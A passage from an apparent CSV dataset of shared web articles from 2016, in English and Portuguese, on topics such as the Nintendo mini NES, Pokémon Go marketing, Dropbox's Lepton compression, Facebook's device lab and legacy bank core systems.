chief executive Yat Siu feels that their comprehensiveness is a part of why they perform decently on the platform, with ""double-digit"" millions of dollars in revenue per year from Android. Animoca doesn't have any games in the top-grossing 50 right now in the U.S., but they make up for it with high rankings in Asian markets and in the sheer number of apps they publish per year. Conclusion: If this still freaks you out, just remember that it was way worse in the days of feature phones. (At least, that's what Rovio's Peter Vesterbacka tells us. Rovio says compared to the J2ME/Brew era, Android is actually easy! They had to make more than 50 games before they created uber-hit Angry Birds.) Just for reminders about how hard it was then, here are two slides from JAMDAT's original IPO slidedeck in 2005. JAMDAT was the seminal mobile gaming acquisition of the feature phone era when they were bought by Electronic Arts for $680 million . The company had to spend five years building relationships with more than 90 carriers in about 40 countries and it was standard to support about 400 devices. So while Android fragmentation seems like a headache, your dad's mobile app maker was trudging seven miles uphill in the snow QA testing with 400 different phones and dealing with business development people from a hundred carriers. It's also easier now with specialty shops handle mobile QA testing now like Testology, which Red Robot uses, and uTest . That said, the very biggest developers still want to do most everything in-house.",en
1468516329,CONTENT SHARED,-5078536505040226358,-4028919343899978105,-3988948333732494489,,,,HTML,https://www.geeksaresexy.net/2016/07/14/nintendo-release-mini-nes-30-pre-loaded-games-november/,Nintendo to Release Mini NES with 30 Pre-Loaded Games in November!,"After the massive success of Pokémon Go, Nintendo will be releasing another amazing product, a mini edition of the oldschool NES consoles with 30 pre-loaded games! The console will be released on 11/11 for $59.99 and will include the console and one controller. Included games: Balloon Fight, Bubble Bobble, Castlevania, Castlevania II: Simon's Quest, Donkey Kong, Donkey Kong Jr., Double Dragon II: The Revenge, Dr. Mario, Excitebike, Final Fantasy, Galaga, Ghosts' N Ghoblins, Gradius, Ice Climber, Kid Icarus, Kirby's Adventure, Mario Bros., Mega Man 2, Metroid, Ninja Gaiden, Pac-Man, Punch-Out!! Featuring Mr. Dream, StarTropics, SUPER C, Super Mario Bros., Super Mario Bros. 2, Super Mario Bros. 3, Tecmo Bowl, The Legend of Zelda and Zelda II: The Adventure of Link. Now how awesome is that? Now I want a N64 mini! The NES is coming back to stores! Pick up the new mini NES Classic Edition on 11/11 w/ 30 included games! pic.twitter.com/wFDw7lHWb7 - Nintendo of America (@NintendoAmerica) July 14, 2016",en
1468518071,CONTENT SHARED,-1638122353599615846,8676130229735483748,-2413784802356185288,,,,HTML,http://meiobit.com/347498/ufs-samsung-apresenta-mais-um-formato-de-cartao-de-memoria/,Quem pediu mais um formato de cartão de memória? Ninguém? Eis o UFS!,"Nos primórdios dos dispositivos portáteis a vida era um inferno. Cada um puxava a brasa pra sua sardinha. A Sony empurrava o Memory Stick, fabricantes de câmeras mais profissionais preferiam os cartões Compact Flash, a Olympus usava um tal de xD, e tínhamos o MMC, que depois digievoluiu pra SD, pro mini-SD e finalmente pro micro-SD, que já é ridiculamente pequeno. A capacidade é bem generosa, uns malucos conseguiram produzir um micro-SD com 512 GB , verdadeira grosseria, mas pra quem vende cartão, é pouco. O negócio é fazer com que as pessoas comprem cartões para substituir os existentes, então estão seguindo a estratégia da Palm, que todo lançamento vinha com um conector novo e incompatível com o PDA antigo. A bola da vez? O formato UFS, Universal Flash Storage, que vem com todas as velhas promessas: Mais velocidade, capacidade, agilidade, blá blá blá. Dizem que o UFS tem velocidade de leitura de 530 MB/s, 20× mais rápido que um micro-SD, e gravação sequencial 2× mais rápido que o micro-SD. Gravação aleatória em teoria é 350× mais rápida no UFS... Ele é compatível com os slots micro-SD, no sentido que que seu micro-SD vai funcionar nos equipamentos UFS, mas não o contrário. Aí eu pergunto: alguém precisa MESMO de tanta velocidade? Baixar um micro-SD lotado para o PC é o tempo certinho de pegar um café com calma e pensar na vida. Fonte: Android Authority . Relacionados: cartões , Micro-SD , mini-SD , MMC , SD , Secure Digital , UFS , Universal Flash Storage , xD",pt
1468518341,CONTENT SHARED,5233661737033380692,8676130229735483748,-2413784802356185288,,,,HTML,http://outracidade.com.br/desinformacao-ate-do-senado-faz-motoristas-acenderem-farol-toa/,Desinformação (até do Senado) faz motoristas acenderem farol à toa - Outra Cidade,"As notícias vieram rápido, e já criaram o pânico entre motoristas: nos quatro primeiros dias da obrigatoriedade de acender a luz baixa durante o dia, quase 15 mil multas foram emitidas. Sinal de que muita gente estava desprevenida, com possibilidade de alguma ""pegadinha"" do poder público. Uma possibilidade era que a lei, ao contrário do que se pensava, não valia apenas para rodovias. Não demorou a surgirem postagens falsas no Facebook e no WhatsApp, dizendo que vias como as Marginais Tietê e Pinheiros, em São Paulo, eram consideradas trechos urbanos de estradas. O resultado disso é que, nesta quarta, vários motoristas acenderam o farol baixo durante o dia para trafegar em duas das vias mais importantes da capital paulista. Cena parecida foi vista em outras grandes avenidas de capitais brasileiras. VEJA TAMBÉM: Velocidade no trânsito: quando menos é mais Teoricamente, não é uma ideia ruim. Transitar na cidade com luz baixa durante o dia não faz diferença alguma para quem está ao volante, mas traz mais segurança para pedestres, ciclistas e demais motoristas. Se um acidente for evitado por causa disso, já terá valido a pena. De qualquer modo, essa confusão deixa explícita a falta de articulação das diversas esferas de governo. A lei que criou a obrigatoriedade da luz baixa nas rodovias é federal, e ela engloba trechos urbanos dessas rodovias. Por isso, está correto acreditar que certas vias dentro das cidades exigem o farol. Para deixar a questão mais clara, a página do Senado no Facebook decidiu deixar tudo detalhado: Acontece que a postagem está errada. As marginais paulistanas não estão dentro dessa categoria, assim como a avenida Brasil (Rio), Farrapos (Porto Alegre) e Mascarenhas de Morais e Boa Viagem (Recife). O site Flat Out! fez uma boa reportagem detalhando essa questão. Até é possível ignorar a reclamação de um motorista que acendeu o farol à toa por se informar em fontes não confiáveis como corrente de Facebook ou WhatsApp, mas o mesmo não se pode fazer se esse sujeito acreditou na página de uma das casas do Congresso. LEIA TAMBÉM: Dá para trafegar a 30 km/h, desde que o tempo deixe de ser a prioridade No dia seguinte, o Senado apagou a postagem errada e publicou uma outra, mais prudente, recomendando que se consultasse as administrações locais para saber o que era ou não considerado trecho urbano de rodovia. A página ainda teve o cuidado de, no espaço de comentários, reconhecer o erro. O efeito prático da confusão não é grande, pois acender o farol baixo desnecessariamente não é um grande problema. Mas ajudou a abalar ainda mais a credibilidade das autoridades com a população e aumentar a discutível sensação de muitos motoristas que os governos estão criando leis apenas para terem pretexto para emitir mais multas. Não é de se surpreender que correntes falsas de redes sociais sejam tão usadas como fonte de informação.",pt
1468518447,CONTENT SHARED,-3351990231604537690,8676130229735483748,-2413784802356185288,,,,HTML,http://m.gizmodo.uol.com.br/carrinho-crianca-carregador-smartphone/,Carrinho de criança carrega seu smartphone usando geradores instalados nas rodas,"Por: Andrew Liszewski 14 de julho de 2016 às 8:39 COMPARTILHE O problema de pais e mães com filhos de colo e que ficam sem bateria fica parcialmente resolvido com este novo acessório. O novo carrinho de criança Moxi, da 4moms , tem um recurso sensacional para pais que eventualmente ficarem sem bateria. Ele conta com geradores instalados nas rodas e uma saída USB no puxador do carrinho. >>> A Volkswagen criou mesmo um carrinho de bebê que segue os pais e evita colisões? Escolher um carrinho para seu pequeno geralmente dá trabalho, pois há muitas opções e cada uma delas diz ter um recurso mais seguro ou útil que o outro. Porém, com cada vez mais aplicativos drenando a bateria de nossos smartphones, achar um local confiável para recarregar acaba se tornando algo de alta prioridade. Uma rápida volta com este carrinho pelo quarteirão não vai ajudar necessariamente o seu bebê a dormir, mas dá para dar um leve carga no smartphone - eles ainda não especificam o quanto de carga as rodas geram. Esta porém não é a única razão para considerar o carrinho de bebê Moxi, da 4moms, quando estiver disponível em outubro nos Estados Unidos. Os geradores presentes nas rodinhas também acendem uma espécie de farol frontal e traseiro para iluminar ao redor de seu caminho durante a noite. Além disso, ele fornece conectividade a um app que possibilita a configuração do carrinho para obter dados como a distância percorrida e quantas calorias você queimou. Ah, o carrinho também ajuda a carregar crianças, e conta com uma área dedicada para armazenamento de chaves, smartphones, carteiras e uma bolsa de fraldas. Uma cobertura retrátil mantém a criança protegida do sol, enquanto um sistema de altura ajustável ajuda a acomodar pais de diferentes estaturas. O preço de tudo isso? Nada barato: US$ 700 nos Estados Unidos. [ 4moms The Fold via Twitter - The NightLight ]",pt
1468518561,CONTENT SHARED,-1968251596393236557,8676130229735483748,-2413784802356185288,,,,HTML,http://m.gizmodo.uol.com.br/facebook-teste-atualizacao-apps-smartphones/,Como o Facebook testa o impacto que a atualização dos apps têm na bateria dos smartphones,"Por: Daniel Junqueira 13 de julho de 2016 às 18:17 COMPARTILHE Lidar com uma base de mais de 1 bilhão de usuários em smartphones não é nada fácil. Cada uma dessas pessoas usa um entre uma série de modelos diferentes de aparelho, e cada um desses aparelhos têm características próprias - especialmente quando falamos no consumo de bateria. É por isso que o Facebook tem um laboratório especializado apenas em lidar com a questão do quanto os seus diversos apps consomem de bateria de aparelhos, e ele conta com mais de 2.000 dispositivos diferentes. É quase um museu dos smartphones, e o pessoal do conheceu esse espaço recentemente. Foto via Vjeran Pavic/ The Verge Chamado Mobile Device Lab, o laboratório fica dentro do data center do Facebook em Prineville, no estado de Oregon, nos EUA. Os mais de 2.000 dispositivos ficam espalhados por uma série de cerca de 60 racks, cuidadosamente projetados para que seu material não interfira na qualidade do sinal Wi-Fi. A cada mudança feita em um app do Facebook - além da versão móvel da própria rede social para todas as plataformas nas quais ela está disponível, ainda há apps como o Instagram e o Facebook Messenger - os dispositivos recebem a nova versão para engenheiros do Facebook analisarem o impacto do novo código no consumo de bateria, além do consumo de memória e da rolagem de tela do app. Oito Mac Minis são usados para as atualizações serem instaladas nos dispositivos iOS, e quatro servidores OCP Leopard com Linux lidam com os aparelhos com Android. Câmeras gravam a atividade na tela dos aparelhos, e os desenvolvedores podem conferir remotamente o que acontece com cada um deles a cada vez que o código dos apps sofre alguma modificação. O projeto do Mobile Device Lab começou no ano passado, e desde março de 2015 o data center da empresa é lar desse mar de dispositivos. Não significa que o trabalho está pronto. O Facebook já pensa em formas de ampliar o laboratório, aumentando a capacidade de cada rack de 32 para 64 dispositivos, além de projetos para abrigar aparelhos com telas maiores. E o Facebook também quer liberar o design de hardware dos racks para a comunidade de desenvolvedores, assim como o software usado nos aparelhos de testes como parte do projeto Open Compute iniciado pelo Facebook em 2011. Você pode ler mais sobre o laboratório no (em inglês).",pt
1468521162,CONTENT SHARED,464601875539492971,-7456488753754080246,-2260944464013627266,,,,HTML,http://www.hardware.com.br/noticias/2016-07/apenas-59-nintendo-anuncia-relancamento-do-nintendinho-com-30-jogos-na-memoria.html,Apenas US$ 59: Nintendo anuncia o relançamento do Nintendinho com 30 jogos na memória,"William R. Plaza criou há mais de 3 horas No início dos anos 80 onde os 8 bits imperava no mercado de consoles, o Famicon , que depois passou por uma repaginada e passou a se chamar NES (Nintendo Entertainment System) no mercado americanoou para nós brasileiros, o famoso Nintendindo causava um grande alvoroço, e aproveitando a grande onda nostálgica que passamos atualmente, onde inúmeros reeboots vem à tona, a gigante japonesa anunciou o relançamento do NES, que estará disponível a partir de 11 de novembro por US$ 59 (R$ 190, em conversão direta) Essa versão mini do NES não utiliza cartuchos, há na verdade uma lista de 30 jogos na memória, e a sua conexão com a TV será feita via HDMI, a união entre o clássico e o moderno :). O joystick também terá aquele design clássico quadrado. A Nintendo venderá um controle adicional por US$ 10 , para que você possa jogar com seu amigo. Outro ponto interessante é que a entrada do controle nessa versão é a mesma dos acessórios do Wii Remote, isso permite que por exemplo seja adicionado o Classic Controller Pro , do Nintendo Wii . Confira abaixo os 30 jogos que acompanham o NES Classic Edition: Balloon Fight™ BUBBLE BOBBLE Castlevania™ Castlevania II: Simon's Quest™ Donkey Kong™ Donkey Kong Jr. ™ DOUBLE DRAGON II: THE REVENGE Dr. Mario™ Excitebike™ FINAL FANTASY® Galaga™ GHOSTS'N GOBLINS® GRADIUS™ Ice Climber™ Kid Icarus™ Kirby's Adventure™ Mario Bros. ™ MEGA MAN® 2 Metroid™ NINJA GAIDEN PAC-MAN™ Punch-Out!! ™ Featuring Mr. Dream StarTropics™ SUPER C™ Super Mario Bros.™ Super Mario Bros. ™ 2 Super Mario Bros. ™ 3 TECMO BOWL The Legend of Zelda™ Zelda II: The Adventure of Link™ Preço e data de disponibilidade: O NES Classic Edition será lançado no dia 11 de novembro na Europa e nos EUA, por US$ 59. A chegada do console no Brasil é totalmente incerta, já que a Nintendo não está mais oficialmente no Brasil, porém, com certeza algum lojista irá importar o console e vender por aqui. Postado há mais de 3 horas por William R. Plaza",pt
1468523516,CONTENT SHARED,607684800821303652,268671367195911338,876332810118518702,,,,HTML,http://fortune.com/2016/07/13/blockchain-banks-vault/,How This Former Google Engineer Is Bringing Blockchain to Banks,"A former Google engineer, whose speech recognition software is used in more than a billion Android smartphones, has launched a company that uses blockchain technology to build a new operating system for banks. Paul Taylor, a Cambridge University academic with an expertise in artificial intelligence, speech synthesis, and machine learning, started working on the system, called Vault OS, two years ago in a basement in London's Shoreditch district, known for being a tech start-up hub. Blockchain technology has captured the imagination of the financial industry, with advocates saying it has the potential to shake up how markets operate. The technology, which underpins the digital currency bitcoin, creates a shared database in which participants can trace every transaction ever made. The ledger is tamper-proof and transparent, meaning that transactions can be processed without the need for third-party verification. ""Most of the banks are using systems that were written in the 80s and 90s, and they just are not ready for the security-conscious internet app age at all,"" Taylor told Reuters. ""What the blockchain does is provide a very secure way of storing transactions."" The system also negates the need for costly in-house data centers, as it uses cloud-based systems, which banks can use on a ""pay-as-you-go"" basis, which means that there is no single point of failure. Get Data Sheet , Fortune's technology newsletter Taylor said major high-street banks were spending around a billion pounds ($1.3 billion) a year on computer technology, much of which he said was being used for propping up the current ""legacy"" systems rather than on any innovative technology. Blockchain is still a nascent technology and is reckoned to still be five to 10 years away from widespread adoption. Its reputation has suffered somewhat from its association with bitcoin, which has seen several company failures, including Tokyo-based exchange Mt. Gox filing for bankruptcy and leaving investors approximately $500 million in the red. The start-up has been working with about ten banks, Taylor said, at least one of which would be starting a trial using the new system in August. He expects the system to be up-and-running within about a year.",en
1468524573,CONTENT SHARED,8863288680270590286,1908339160857512799,-2007314847850284454,,,,HTML,https://nacoesunidas.org/mg-promove-ate-dia-15-conferencia-sobre-diversidade-sexual-e-cidadania-lgbt/,MG promove até dia 15 conferência sobre diversidade sexual e cidadania LGBT,"O estado de Minas Gerais promove até 15 de julho, com o apoio da campanha ""Livres & Iguais"" das Nações Unidas, a 1ª Semana da Diversidade Sexual e da Cidadania LGBT, que ocorre na sede do governo, a Cidade Administrativa, em Belo Horizonte. O estado de Minas Gerais promove até 15 de julho, com o apoio da campanha ""Livres & Iguais"" das Nações Unidas, a 1ª Semana da Diversidade Sexual e da Cidadania LGBT, que ocorre na sede do governo, a Cidade Administrativa, em Belo Horizonte. O evento inclui uma série de debates sobre o tema da diversidade sexual e defesa de direitos. Nesta segunda-feira (11), a programação inclui uma roda de conversa sobre gênero e diversidade no ambiente educacional, assim como um seminário sobre a aplicação da legislação na defesa dos direitos LGBT. Na terça-feira (12), haverá debates sobre assistência social no combate à LGBTFobia, saúde e diversidade, LGBT na terceira idade, entre outros temas. Clique aqui para acessar a programação completa do evento. Campanha ""Livres & Iguais"" ""Livres & Iguais"" é uma campanha inédita e global das Nações Unidas para promover a igualdade de lésbicas, gays, bissexuais, travestis e transexuais (LGBT). Projeto do Escritório do Alto Comissariado das Nações Unidas para os Direitos Humanos (ACNUDH) implementado em parceria com a Fundação Purpose, ""Livres & Iguais"" tem por objetivo aumentar a conscientização sobre a violência e a discriminação homofóbica e transfóbica e promover um maior respeito pelos direitos das pessoas LGBT, em todos os lugares do mundo. Saiba mais sobre: LGBT Paz; justiça e instituições eficazes Redução das desigualdades Mais notícias de: ACNUDH",pt
1468525144,CONTENT SHARED,3799414975499163376,-1443636648652872475,-5034557751275839254,,,,HTML,http://venturebeat.com/2016/07/14/dropbox-open-sources-lepton-a-compression-algorithm-that-cuts-jpeg-file-size-by-22/,"Dropbox open-sources Lepton, a compression algorithm that cuts JPEG file size by 22%","Cloud syncing and sharing software company Dropbox today announced that it has released an image compression algorithm called Lepton under an Apache open-source license on GitHub . Lepton can both compress and decompress files, and for the latter, it can work while streaming - that is, files can be expanded back into full size as they are being sent over the network. So Lepton is important for user experience given how it can more quickly transfer data and show content. But at the same time, it has an impact on the data center infrastructure where files often end up. ""We have used Lepton to encode 16 billion images saved to Dropbox, and are rapidly recoding our older images. Lepton has already saved Dropbox multiple petabytes of space,"" Dropbox software systems architect Daniel Reiter Horn wrote in a blog post. This type of technology might sound familiar to those who watch the HBO show ""Silicon Valley."" Sure enough, Lepton is ""essentially a 'middle-out' algorithm"" just like the one featured on the show, Reiter Horn wrote. Dropbox has previously discussed data compression in the context of the ""Weissman Score"" that's cited on the television show, but this time there's real open-source code to try out. There are generic compression algorithms available, including Google's open-source Brotli . Lepton, written primarily in C++, is tuned to work with images, and it cuts off 22 percent of file size for JPEGs, Reiter Horn wrote. Dropbox occasionally open-sources its software. Previously it has released HackPad and Zulip , among other things. Facebook, Google, Twitter, and other web companies regularly open-source their code to share their technology and get people on the outside collaborating on it. That can lead to improvements or even new hires. To learn more about Lepton works, check out Reiter Horn's full blog post . Get more stories like this on Twitter & Facebook Dropbox's mission is to provide a home for everyone's most important information and bring it to life. We make it easy for hundreds of millions of people to access, share, and collaborate on... All Dropbox news """,en
1468526298,CONTENT SHARED,-5702535287667979261,-5527145562136413747,4671864325319122885,,,,HTML,http://papodehomem.com.br/o-raio-x-financeiro-das-empresas-fofas/,O raio-x financeiro das empresas fofas,"Após cabeçadas doloridas (ou boas sessões de terapia), a gente aceita que dentro de cada entidade - pessoa, instituição, empresa, igreja - cabe um mundo. Ninguém é só bonzinho ou só malvado. Dançamos entre mil facetas, umas nobres, outras nem tanto. Somos um emaranhado. Enquanto consumidores, porém, precisamos de olhar atento. O jogo corporativo e publicitário ficou tão refinado, mas tão refinado, que ao invés de buscar uma imagem imponente e sólida, os novos CNPJs se escoram em camaradagem e propósito nobre. Estamos vivendo a era das empresas fofas. Olha pra cá, olha Há 10 anos era necessário muito dinheiro para atingir a massa. O minuto no intervalo da novela custava uma fortuna. A página da revista semanal idem. Atualmente, porém, (essas mídias continuam muito caras, mas...) passa-se mais tempo na telinha do smartphone do que na telona da TV, e é para lá que migrou a sede do mercadão que comercializa um dos nosso bens mais preciosos: nossa atenção. Até pouco tempo, a mecânica era simples e copiava o modelo de negócio anterior, ou seja, quem tinha muito dinheiro investia um monte em mídia (Google Ads, Facebook Ads), atingia muita gente e forjava uma presença brutamontes em cima disso. Isso não funciona mais. Não tão bem quanto funcionava antes ao menos. O setor chave da nova empresa: customer success Agora a gente quer indicação de amigo. Chega de anúncio inundando a tela do computador. O que a gente quer é um post de um site menorzinho, com visual descolado, escrito por alguém que passa pelos mesmos problemas que a gente, dizendo o tanto que a empresa X ou Y o tratou bem. O boca a boca ganha escala quando, ao invés de contar pro vizinho que o Nubank (aquele do cartão roxinho) é incrível, a gente posta um relato na timeline do Facebook. Esse relato é visto por mil pessoas, que também têm suas timelines , e que também se sentem muito felizes em compartilhar com seus amigos a boa nova. Cientes e provocadoras do fenômeno, as empresas investem rios de dinheiro na criação de um setor inovador e extremamente importante, o customer success . Uma área pequena (mas com orçamento grande) inteira focada em garantir a satisfação do cliente, custe o que custar. É essa área que "" sugere fortemente "" que os motoristas do Uber abasteçam os carros com balas e copos de água e que ofereçam descontos bem expressivos, caso os passageiros não se sintam confortáveis com a corrida. É ela, também, que protagoniza casos virais de sucesso, como o caso do Hector - rapaz que teve o lanche da madrugada cobrado duas vezes e que, para compensar, recebeu o estorno e, além disso, uma sanduicheira cor de beterraba, com uma lista de receitas escritas a mão. A personificação das empresas Todo esse investimento de dinheiro e tempo tem por objetivo criar uma persona agradável, que inspire confiança e que torne o processo de identificação (que resulta em compra e faturamento) o mais fácil e rápido possível. Em tempos de manada, queremos nos sentir únicos. Slogans são ineficientes nessa empreitada. Não basta dizer ""Feito para você"", ou dizer que é o ""Banco do juntos"", tem que convencer que, quando mais precisar, estará lá, tratando feito gente, e não feito número. O mercado se sustentou dessa promessa por muito tempo. Com a democratização dos meios de informação, estamos presenciando a criação de personagens completos. Alguns revertem em faturamento, outros não. Onde mora o perigo? O atendimento de eficiência duvidosa, a fachada imponente, o posicionamento sisudo, tudo isso contribui para que nós, consumidores, criemos um senso crítico aguçado. Nos interessamos em saber o que está nas entrelinhas, o que não está dito, aquela taxa que não foi tão divulgada assim, aquela ressalva que não apareceu nos comerciais, aquela sensação de que, mais dia, menos dia, vamos tomar prejuízo. Essas são as empresas mais tradicionais, old school . Ao interagirmos com empresas fofas, que escrevem com português impecável e que escolhem com muito cuidado qual a cor utilizarão em seus anúncios, nossa tendência é abaixar a guarda. A gente confia que está tudo certo. O perigo está aí. Na cegueira. Quando a barra da paixão sobe e a barra do ceticismo desce, quem está exposto somos nós. Abre-se margem para que a empresa aja única e exclusivamente de acordo com suas metas, de maneira não vigiada. Não estou afirmando que as empresas fofas são, na verdade, seres malignos travestidos de ursinhos carinhosos, mas afirmo, sim, que são empresas. Neutras. Que causam impacto na sociedade, que possuem acionistas que buscam lucro e que, vez ou outra, botam os pés pelas mãos e fazem cagada. É importante a gente não esquecer disso, nunca. Como se posicionar diante disso tudo? Uso Uber quase todos os dias, me entupo de bala e sempre pego um ou dois copos de água. Quando viajo, minha primeira opção é o AirBnb e eu só não uso o Nubank porque não utilizo cartão de crédito com frequência. A questão não é deixar de usar, a questão é se manter atento, questionador, curioso. Temos que manter a luz acesa, saber como as empresas estão lucrando (elas estão, juro), o que buscam de fato, como tratam todos os envolvidos na cadeia (o motorista do Uber, o atendente da Nubank, enfim, todo mundo que viabiliza o mundo cor-de-rosa). *** Nas próximas semanas, vamos destrinchar o modelo de negócio de algumas das grandes empresas que investem pesado na relação com os consumidores. Começaremos pelo Uber. Como funciona o preço da quilometragem? Quanta ganha um motorista em tempo integral? Paga imposto? A competição com o táxi é desleal? Vale a pena usar todo dia? O tal do Uber Pool funciona mesmo? Quais outras curiosidades vocês teriam? Quais outras empresas e modelos de negócio valem nossa atenção? Seguimos o papo nos comentários. publicado em 13 de Maio de 2016, 15:17",pt
1468527993,CONTENT SHARED,-8651474460024926245,8029287010580464803,-8409100277301615308,,,,HTML,http://exame.abril.com.br/marketing/noticias/pokemon-go-pode-ser-nova-ferramenta-de-marketing,Pokémon Go pode ser nova ferramenta de marketing | EXAME.com,"Nova York - O jogo Pokémon Go, que em tempo recorde alcançou o topo nas lojas de aplicativos da Apple e Android, parece pronto para desafiar as empresas de Internet especializadas em aumentar o fluxo de pessoas em pequenos negócios e pode acabar tendo um papel no marketing de grandes marcas, de acordo com especialistas da indústria. O jogo de realidade aumentada da Nintendo alcançou mais de 65 milhões de usuários nos Estados Unidos em apenas sete dias após o lançamento e já está ajudando restaurantes locais, cafés e pequenos varejistas a atrair novos clientes. O pizza bar L'inizio em Long Island, em Nova York, afirma que suas vendas saltaram 75 por cento no fim de semana pela ativação do recurso ""módulo de atração"" que atrai personagens Pokémons virtuais para a loja, assim atraindo jogadores próximos. O gerente da loja gastou 10 dólares para ter uma dúzia de personagens Pokémon colocados no local, de acordo com um relatório do New York Post. Esse tipo de efeito instantâneo é uma ameaça potencial para as relativamente novas empresas que revolucionaram o marketing online para pequenas companhias nos últimos anos, como Groupon, LivingSocial e Foursquare, entre outros. O site de notícias de tecnologia Gizmodo disse na quarta-feira que um estudante na Austrália descobriu um código de programação dentro do jogo que indicava um sistema de patrocínio e citou o nome da rede de fast food McDonalds . A rede não comentou o assunto ou qualquer de seus planos de marketing. Especialistas em marketing disseram que pequenas empresas podem se voltar cada vez mais para o Pokémon Go - e redirecionar alguns dos seus gastos com marketing - à medida que o games atraia uma base maior de usuários. ""Com Pokémon Go, você está vendo o jogo como uma maneira de passar por cima de um monte de canais digitais (marketing) que as lojas têm confiado nos últimos anos"", disse Christophe Jammet, diretor de mídia social e móvel da consultoria DDG em Nova York. ""Não existia uma plataforma social de geolocalização que pode atrair tantas pessoas de uma só vez."" Muitas lojas estão propagando ser ""Poke Stops"", um lugar onde os jogadores podem pegar novas bolas Pokémon e aumentar o seu nível de poder dentro do aplicativo, para atrair clientes. Especialistas dizem que é apenas uma questão de tempo antes de grandes marcas se juntarem a esse movimento. ""Eles já estão olhando para isso"", disse Tom Kelshaw, diretor de tecnologia da Maxus Global, um grupo de gestão de investimentos em mídia de Nova York.",pt
1468529607,CONTENT SHARED,-9045753673721269477,3609194402293569455,6103358351636040593,,,,HTML,http://trendwatching.com/trends/big-brand-redemption/,BIG BRAND REDEMPTION | New free Trend Briefing from TrendWatching,"The idea that all big brands are causing massive environmental, social and health damage - while all startups are shiny, clean and ethical - is a gross simplification. Still, it's inarguable that many big brands currently cause more harm than good. And if many consumers don't actively think that (because they don't think about these things at all!), then millions instinctively feel it. After all, when was the last time YOU were proud of your engagement with a big brand? But there's an issue with the idea that, when it comes to building a better future, big brands are the problem and startups are the answer. Sure, many of today's iconic startups do have great values baked in. And starting from scratch means they can effectively build better processes, business models, infrastructure and more. But these startups are limited in reach and resources. They lack the scale to effect truly massive, widespread change. Big brands, on the other hand, have real POWER...",en
1468534684,CONTENT SHARED,-7570652411388243006,5660542693104786364,9078559745325063969,,,,HTML,http://thefinanser.com/2016/07/compelling-case-replace-40-year-old-core-system.html/,The compelling case to replace a 40-year old core system - Chris Skinner's blog,"I tried to make some allowance for ANZ running a 40-year-old core system yesterday, by pointing to the fact that people are slow to change and there may well be no compelling reason to switch a legacy system. Even though I've tried to make the case many times: and there are many more . Nevertheless, I can see that some would see that there is no compelling reason because replacing that core system is a big ask. Bear in mind that the system we are talking about was probably an upgrade in 1976 to the core customer deposit account system now that ATMs were being introduced. It was a batch update, punch card based system that, over the years, was upgraded and improved. It could cater for more than just branch needs and ended up providing real-time feeds into internet banking balances through middleware interfaces. This meant that 25 years after introduction, the system resided at the heart of the balance updates for millions of customer accounts and had a complex arrangement of interfaces and accessories that allowed it to look pretty good, even though the bank knew it was archaic. It worked, it wasn't broken, so why change it? The bank goes through this logic every year in their Strategic Technology Review, and the answer is always the same. The 1976 system has had so much built up around it, that changing the system would involve a wholesale replacement of everything. It's not just the core system, but everything that interfaces to it will need to be replaced. That would cost billions and there's no compelling reason to change it as it does the job. Another decade goes by, and the argument still stands up. Yes, it's expensive to maintain our old balance system, but it's far cheaper and less risk keeping it running than to change it. Unfortunately, something then happens. The world of technology moves on a pace. What was all locked into simple front-end interfaces to a back-end that does the job, becomes far more demanding. Customers want apps, partners want APIs and competitors are moving from in-house proprietary structures open platforms through cloud. The competition is getting more personal through data analytics and machine learning. They are also lowering costs by getting rid of their old core system and moving to modern internet-age architectures. However, our little old system in the corner still does its job, and there's no reason to change, is there? I guess this is where my core argument for the imperative to replace the core system really comes into play, as we have moved into an internet age of open sourced finance and the business model, architecture and infrastructure must change to keep up. Again. I've blogged about this lots of times before: With the key message that, for the first time, new technologies are eating into our back office core systems. But some banks can follow the view that this does not create an urgent or compelling need to upgrade a 40-year-old core system. But then, oh no, what's the regulator doing? The regulator wants us to provide real-time connectivity to their oversight services using APIs? We have to also offer third party connectivity to our customer balances? And what's happening with our costs? Our cost seems to be higher than everyone else's. OK, we can sneak that along into our overdraft fees and credit charges, but maybe our legacy customer might spot it. OK, time to change. Oh, too late. It's now going to take seven years, and by the time it's done, we're screwed. Ah well, at least we can be acquired can't we? So I've painted a picture of the future as I see it. The reason is that ONE DAY, ANZ will have to change that system but by waiting for the LAST DAY, they may have left it a day too late. The reason is that I don't equate legacy systems to an old house but an old car. An old car we call vintage. We can be proud of our old car. It's made of metal, it rusts if we leave it outside, it costs a fortune to maintain, it runs on fossilised fuel, but hey, it's a classic car. It roars down the road and the gear shift between second and third feels amazing. So what if the young bucks are buying cars with links to their MP3 players - what's an MP3 anyway? Who needs Spotify in the car, I've got a Sony Walkman. That's a classic too you daft punks. And the fact that those little dinks and scratches cost me a fortune to deal with is ok, because the car doesn't need replacing every few years. Just because you change yours every three years, I've had mine for forty years and I love her. Sorry, it. It's a great car. Then Tesla comes out. A self-driving internet-based transport vehicle that runs on rechargeable electric batteries. Who needs one of those? Then Google starts developing self-driving cars, and Apple is rumoured to be in the game. Do I have to worry? I don't think so. It's just a car after all, and all cars run on roads with engines and wheels. Tick. Got those, why change my vintage vehicle. OK, so all the other guys are changing theirs, but I don't see any compelling reason why I would need to. Finally, the Government says that all cars must be self-driving by law and my vintage vehicle can't do that. Sure it's cost me a fortune to maintain but changing it seems to be the mandate. Just as I'm about to change it, I'm involved in a multi-vehicle pile-up. Car written off. Me dead. Reason: the driver didn't realise he had entered a self-driving only zone. Shoot. And this is what I think is going to happen to banks that hold onto their ageing core systems too long. The regulator will force them to upgrade it. That will take years and, by this time, will involve the bank being under the cosh of the consultants bandwidth. Imagine it's now going to cost $2 million a day just to be involved in the change program. Third, it's going to be far harder to change the bank to work with today's technologies because most folks in your bank have no idea what today's technologies involve. OK so I'm being a little OTT but I saw this happen with Y2K, the introduction of the euro and euro clearing and other deadline day programmes. As a result, in my experience, the only reason a bank hasn't changed a 40-year-old core system to day is because the CEO believes he or she will be at the helm for only another 2 or 3 years, so leave the risk and cost for the next guys to deal with. That is the reason why core systems reach such a grand old age. Because each generation of management has just wanted to pass the buck to the next generation. That worked for thirty years, but believe me it doesn't work in this age of open sourced financial interchange.",en
